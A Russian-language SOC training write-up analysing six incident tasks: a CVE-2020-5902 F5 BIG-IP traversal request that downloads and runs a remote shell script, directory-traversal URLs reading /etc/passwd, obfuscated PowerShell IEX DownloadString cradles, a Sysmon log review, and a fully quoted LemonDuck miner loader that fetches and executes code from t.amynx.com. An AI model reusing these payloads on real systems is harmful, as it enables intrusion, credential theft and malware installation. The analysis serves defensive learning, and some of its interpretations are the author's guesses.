⠀ ⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀![](https://i.imgur.com/l6GHi51.png) ⠀ ⠀ ### ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀Работа специалиста SOC ⠀ :::spoiler Task 1 ⠀ Рассмотрим исходный GET запрос: ``` GET /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=wget+http%253A%252F%252F136.144.41.3%252Bigipdmcdmsklcmk%252ohsitsvegawellrip.sh+%253B+chmod+777+ohsitsvegawellrip.sh+%253B+sh+ohsitsvegawellrip.sh+%253B+wget+https%253A%252F%252Fhttps:%252%252iplogger.org%2522FGVP5 HTTP/1.1 Host: 10.27.243.60 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: */* User-Agent: python-requests/2.25.1 ``` > [color=lightgreen] /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp... *JSP* или *Java Server Pages* — это технология *Java*, которая позволяет создавать динамические веб-страницы для *Java* приложений. *JSP* позволяет разработчику: - получать данные из веб-страницы в Java-код; - отправлять данные из Java кода на веб-страницу; - писать Java-код, прямо внутри html. Начало строки: перехват запроса до директории админки /login.jsp, изменение запроса (Можно даже с помощью BurpSuite) и проведение атаки Directory Traversal. Иллюстрационный пример: ``` https://IP/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.license https://IP/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd https://IP/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/hosts https://IP/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.conf https://IP/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin ``` Выполнение произвольных команд и получение доступа к файлам веб ресурса уже обеспечно. Эксплуатируя эту уязвимость злоумышленники могут получить доступ к хранящимся на веб сервере данным, выполнять любые команды. Дальше видим загрузку скрипта *.sh* на целевой ресурс с помощью утилиты *wget*. Назначение скрипта неизвестно. География *IP*-Адреса - Нидерланды. >[color=lightgreen] ...?command=wget+http%253A%252F%252F136.144.41.3%252Bigipdmcdmsklcmk%252ohsitsvegawellrip.sh > ⠀ ⠀⠀⠀⠀⠀![](https://i.imgur.com/X7LPUlm.png) ⠀ Повышение прав доступа к скрипту с помощью *chmod* - теперь файл может прочитать/изменить/запустить любой непривелигированный пользователь. >[color=lightgreen] *chmod 777* Затрудняюсь сказать, зачем здесь *iplogger.com*. Возможно для отслеживание IP-адресов, взаимодействующих с сервером, развития дальнейшей атаки с зараженного сервера или отслеживания местонахождения жертв, в случае если это "слепая" атака. ⠀ ![](https://i.imgur.com/qAxmFub.png) ⠀ Одним словом **CVE-2020-5902** Уязвимость позволяет неавторизованному злоумышленнику, в том числе не прошедшему проверку подлинности, но имеющему доступ к конфигурационной утилите *BIG-IP*, выполнить произвольный код в программном обеспечении, получить доступ к конфиденциальной информации или перехватить трафик, осуществить атаки с сервера, где расположен TMUI. ⠀ > [color=lightgreen] *TMUI* - *Traffic Management User Interface* производства *F5*, или просто веб-интерфейс управления трафиком > [color=lightgreen] *BIG-IP* представляет собой набор модулей, который работает на собственной операционной системе *TMOS*, и позволяет контролировать вычислительную мощность серверного оборудования, а также безопасность и доступность услуг, которые необходимы для приложений. *Многоцелевые сетевые устройства BIG-IP могут быть настроены для работы в качестве систем управления трафиком, балансировщиков нагрузки, брандмауэров, шлюзов доступа и так далее. Эти устройства являются одними из наиболее востребованных сетевых продуктов на сегодняшний день и используются в работе многих крупнейших и важнейших сетей. Так, девайсы BIG-IP работают в государственных сетях, в сетях интернет-провайдеров, в облачных ЦОД, а также во множестве корпоративных сетей.* Защита - обновление до последних версий *BIG-IP* ::: :::spoiler Task 2 ⠀ Здесь выполнение обфусцированного *(все методы и аргументы команды разбиты на части, чтобы сделать команду нечитаемой для человеческого глаза или изменить сигнатуру файла для игнорирования антивирусными системами. Сборка происходит с помощью конкатенации разбитых строк)* скрипта *PowerShell*. На сколько мне известно, для изменения сигнатуры вредоноса используется именно кодирование *(например, Base64)*, а в данном случае скрипт сделали нечитаемым для человека. Могу ошибаться. Командлет *Invoke-Expression* запускает указанную строку как команду. Метод ToInt, видимо, конвертирует набор *CHAR* символов в числовую последовательность, а toString в строку. Можно разобрать метод *downloadString*, который используется для загрузки кода с ресурса, и исполнения уже на локальной машине. Мне сложно предположить, что именно выполняет этот скрипт, но такое поведение - явное отклонение от нормы. Сисадмины не стали бы писать такой код. Буду считать, что система скомпрометирована. ::: :::spoiler Task 3 ⠀ Рассмотрим сохраненные события журнала Windows. Я буду использовать виртуальную машину с ОС Windows 7. Откроем сохраненный журнал, и отметим несколько входных данных, чтобы лучше понимать, с чем мы работаем. Видно, что для ведения аудита используется *Sysmon* из утилит *Windows Sysinternals*. Вероятно, ОС - *Windows 10 (если верить имени ПК)* ⠀ ![](https://i.imgur.com/wYmsTqw.png) ⠀ Ошибки файла SEARCHPROTOCOLHOST.EXE-0CB8CADE **.pf** часто возникают на этапе запуска Microsoft Office, однако могут возникать во время работы программы. ⠀ ![](https://i.imgur.com/GEKlPxd.png) ⠀ Вот что бросилось в глаза: процесс svchost.exe в Windows 10 находится по пути ``` C:\Windows\System32\svchost.exe ``` В первом ивенте это действительно так, однако если переместиться на событие выше - путь у процесса другой! *system32* с маленькой буквы. Это нормально? Тоже самое с некоторыми другими процессами, уже не системными - например winword.exe Пожалуйста, не смейтесь ⠀ ![](https://i.imgur.com/lkeQzgR.png) ⠀ ![](https://i.imgur.com/dSaKPW9.png) ⠀ Следующий интересный ивент. Здесь мы запускаем загруженный файл *"employee termination letter.docx"*, после чего два раза вызван проводник. ⠀ ![](https://i.imgur.com/ssJQwdG.png) ⠀ Обращу внимание на имена вызываемых процессов. Проводник в Win10 имеет следующий путь и регистр: ``` C:\Windows\explorer.exe ``` Никаких ExPlOrEr.EXE в системных процессах нет. Я предположу, что именно этот ивент - точка входа, и именно открытие docx файла спровоцировало запуск невалидного процесса. Идем дальше. Процесс *\wkssvc* должен иметь путь *C:\Windows\System32*, однако здесь происходит вообще что-то непонятное. ⠀⠀ ![](https://i.imgur.com/ssJQwdG.png) ⠀ Служба Windows, которая создает и поддерживает клиентские сетевые подключения к удаленным серверам по протоколу SMB. Это возможно, т.к. мы находимся в домене (точнее если предположить, что мы находимся в домене), и Windows, насколько мне известно, использует SMB протокол для совместного сетевого доступа типа *WORKGROUP* и при расшаривании папок, однако это было в семерке и XP, а в 10 чтобы его включить нужно дополнительные фичи устанавливать. Подозрительно! ⠀ ![](https://i.imgur.com/1RRVB5g.png) ⠀ Тоже самое с srvsvc, у которого путь должен быть C:\Windows\System32. ⠀ ![](https://i.imgur.com/OQychfZ.png) ⠀ Дальше запуск Normal.dotm после запуска Office 17-го года DOTM файлы используются в Microsoft Word 2007/2010/2013 в качестве файлов шаблонов документов. DOTM шаблоны используются, когда пользователь хочет создать несколько *.DOCX документов с таким же форматированием и с дополнительными макросами. ![](https://i.imgur.com/u28VjvZ.png) ⠀ ![](https://i.imgur.com/lF2Vesj.png) ⠀ Почему Winword запускается из Prefetch? ![](https://i.imgur.com/kFUpMul.png) ⠀ Файл RarExt32.dll считается разновидностью файла WinRAR shell extension. Наиболее часто он используется в ПО WinRAR. Он использует расширение DLL и считается файлом Win32 DLL ⠀ ![](https://i.imgur.com/CaS6FfE.png) ⠀ Verslsid нет от System32 ![](https://i.imgur.com/oLsEimM.png) ⠀ ![](https://i.imgur.com/9gYGtAw.png) ⠀ Запуск с PS IEX (New-Object System.Net.WebClient).DownloadString('http://omni-consumer-pr0ducts.tk/favicon.ico'); Выполнится строка в качестве команды, все это завуалировано до предела. Здесь уже все плохо. ![](https://i.imgur.com/yzfqYZC.png) ⠀ ![](https://i.imgur.com/aZjTmI7.png) ⠀ ![](https://i.imgur.com/UEGZdaQ.png) ::: :::spoiler Task 4 ⠀ Здесь выполнение скрипта в "скрытую" с административными правами (S-1-5), закодированного в Base64. -NoP (--NoProfile) Не использовать профиль powershell -NonI (--NonInteractive) Не использовать интерактивный режим -W Hidden ( --Window Hidden) Не показывать окно командной строки IEX(New-Object Net.WebClient).DownloadString('url нашего скрипта') - Выполнить скрипт путем загрузки его по урл из удаленного ресурса и загрузки его в памяти ![](https://i.imgur.com/1tPJi2v.png) ⠀ ![](https://i.imgur.com/FtX3est.png) ::: :::spoiler Task 5 ⠀ Данное ВПО - криптомайнер под названием *LemonDuck* / вредонос с одноименным названием. LemonDuck имеет множество векторов атак, поэтому сложно однонаправленно идентифицировать его. Разберем скрипт подробнее ``` powershell.EXE -w hidden -c function a($u){ #Объявление функции, принимающей параметр $u (здесь скорее всего ссылка) $d=(New-Object Net.WebClient).'DownloadData'($u); #Загружает ресурс, как массив Byte из заданного URI. uri берется и параметра функции, и этот массив записывается в переменную d $c=$d.count; #Перменная c теперь принимает кол-во байт загруженного ресурса if($c -gt 173){ #Если c > 173 $b=$d[173..$c]; # То переменная d - массив байт от d173 до c $p=New-Object Security.Cryptography.RSAParameters; # $p.Modulus=[convert]::FromBase64String('2mWo17uXvG1BXpmdgv8v/3NTmnNubHtV62fWrk4jPFI9wM3NN2vzTzticIYHlm7K3r2mT/YR0WDciL818pLubLgum30r0Rkwc8ZSAc3nxzR4iqef4hLNeUCnkWqulY5C0M85bjDLCpjblz/2LpUQcv1j1feIY6R7rpfqOLdHa10='); $p.Exponent=0x01,0x00,0x01; $r=New-Object Security.Cryptography.RSACryptoServiceProvider; $r.ImportParameters($p); if($r.verifyData($b,(New-Object Security.Cryptography.SHA1CryptoServiceProvider),[convert]::FromBase64String(-join([char[]]$d[0..171])))){ Iex(-join[char[]]$b) } } } $url='http://t.amynx.com'; #Создали переменную url a($url+'/a.jsp?ipc_20201126?'+(@($env:COMPUTERNAME,$env:USERNAME, #Запуск функции выше, где аргумент - http://t.amynx.com/a.jsp?ipc_20201126?@abc и get-wmi-object, возвращающий продукт (get-wmiobject Win32_ComputerSystemProduct).UUID,(random))-join'*')) # get- ``` ⠀ ![](https://i.imgur.com/WpOlQlz.png) ⠀ Реакция *VirusTotal* ⠀ ![](https://i.imgur.com/huztJqx.png) ⠀ >[color=lightgreen] Сайт - http://t.amynx.com/a.jsp?ipc20201126?+uuid Снимок сайта с Wayback Machine, и немного информации о домене ⠀ ![](https://i.imgur.com/7GMLXlu.png) ⠀ Если попытаться найти информацию по сайту, натыкаемся на кучу упоминаний о криптомайнере *LemonDuck*, зародившегося в Китае в 2019 году. Массовое распространение вредонос получил в 2021 году. Тут-же можно найти IoC'и на этот троян на гитхабе. Предоставляю ссылку: https://github.com/sophoslabs/IoCs/blob/master/Trojan-LDMiner.csv Вредоносные контрольные суммы MD5 ⠀ ![](https://i.imgur.com/KxHNT1t.png) ⠀ **Векторы заражения** Lemon Duck имеет как минимум 12 различных векторов начального заражения — это больше, чем у большинства других вредоносных программ. Эксплойт Proxylogon — одно из последних дополнений к векторам. С существующим диапазоном возможностей от блока сообщений сервера (SMB) и протокола удаленного рабочего стола (RDP) он будет специально нацелен на уязвимость RDP BlueKeep (CVE-2019-0708) на компьютерах с Windows. С помощью этих стратегий он может нацеливаться на устройства IoT со слабыми паролями или паролями по умолчанию для выполнения атаки грубой силы. Вредоносная программа Lemon Duck была написана на Phyton с использованием PyInstaller для усложнения. Он использует модули PowerShell для заражения бесфайловых данных. Используя уязвимость SMB (CVE-2017-0144) и атаки методом перебора, Lemon Duck может распространять инфекцию по сети организации. ::: :::spoiler Task 6 Опять -nol NoLogo -nop NoProfile -ep ExecutionPolicy Bypass Загрузка файла C:\Users\vpupkin\Downloads\super-cool-game.zip, запуск l1.bat, выполнение скрипты повершелл, скорее всего в meterpretere или метасплойте делали. Злоумышленник получил удаленный доступ к скомпрометированному хосту ![](https://i.imgur.com/S5RRnGF.png) Управляющий сервер - 172.16.222.11 ::: ###### tags: `Intesive`